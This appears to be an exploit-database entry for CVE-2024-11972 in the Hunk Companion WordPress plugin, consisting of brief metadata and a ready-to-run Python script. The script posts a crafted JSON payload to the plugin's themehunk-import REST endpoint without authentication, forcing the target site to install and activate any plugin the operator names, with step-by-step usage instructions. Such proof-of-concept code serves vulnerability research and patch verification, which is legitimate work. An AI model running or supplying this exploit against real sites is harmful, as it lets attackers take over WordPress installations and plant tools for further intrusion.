Hunk Companion Plugin 1.9.0 - Unauthenticated Plugin Installation

Author: Jun Takemura
type: webapps
platform: multiple
port: 
date_added: 2025-04-18  
date_updated: 2025-04-18  
verified: 0  
codes: CVE-2024-11972  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 52259.py  
# Exploit Title: Hunk Companion Plugin 1.9.0 - Unauthenticated Plugin Installation
# Date: 16 December, 2024
# Exploit Author: Jun Takemura
# Author's GitHub: https://github.com/JunTakemura
# Author's Blog: juntakemura.dev
# Vendor Homepage: https://themehunk.com
# Software Link: https://wordpress.org/plugins/hunk-companion/
# Version: Tested on Hunk Companion 1.8.8
# CVE: CVE-2024-11972
# Vulnerability Description:
#     Exploits a flaw in the Hunk Companion plugin's permission_callback for the
#     /wp-json/hc/v1/themehunk-import endpoint, allowing unauthenticated attackers
#     to install and activate arbitrary plugins from the WordPress.org repository.
# Tested on: Ubuntu
# Original vulnerability discovered by: Daniel Rodriguez
#
# Usage:
#     1. Update `target_url` below with the target WordPress site's URL.
#     2. Update `plugin_name` with the slug of the plugin you want to install.
#     3. Run: python3 exploit.py
#
import requests
from urllib.parse import urljoin

# Update 'URL' with your target WordPress site URL, for example "http://localhost/wordpress"
target_url = "URL"

# Update 'NAME' with desired plugin's name (slug), for example "wp-query-console"
plugin_name = "NAME"

endpoint = "/wp-json/hc/v1/themehunk-import"
url = urljoin(target_url, endpoint)

payload = {
    "params": {
        "plugin": {
            plugin_name: "Plugin Label"
        },
        "allPlugins": [
            {
                plugin_name: f"{plugin_name}/{plugin_name}.php"
            }
        ],
        "themeSlug": "theme",
        "proThemePlugin": "plugin",
        "templateType": "free",
        "tmplFreePro": "theme",
        "wpUrl": target_url
    }
}

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64)",
    "Content-Type": "application/json"
}

try:
    response = requests.post(url, json=payload, headers=headers, timeout=10)
    response.raise_for_status()  # Raises an HTTPError if the response is not 2xx

    print(f"[+] Exploit sent successfully.")
    print(f"Response Status Code: {response.status_code}")
    print(f"Response Body: {response.text}")
except requests.exceptions.RequestException as e:
    print(f"[-] Request failed: {e}")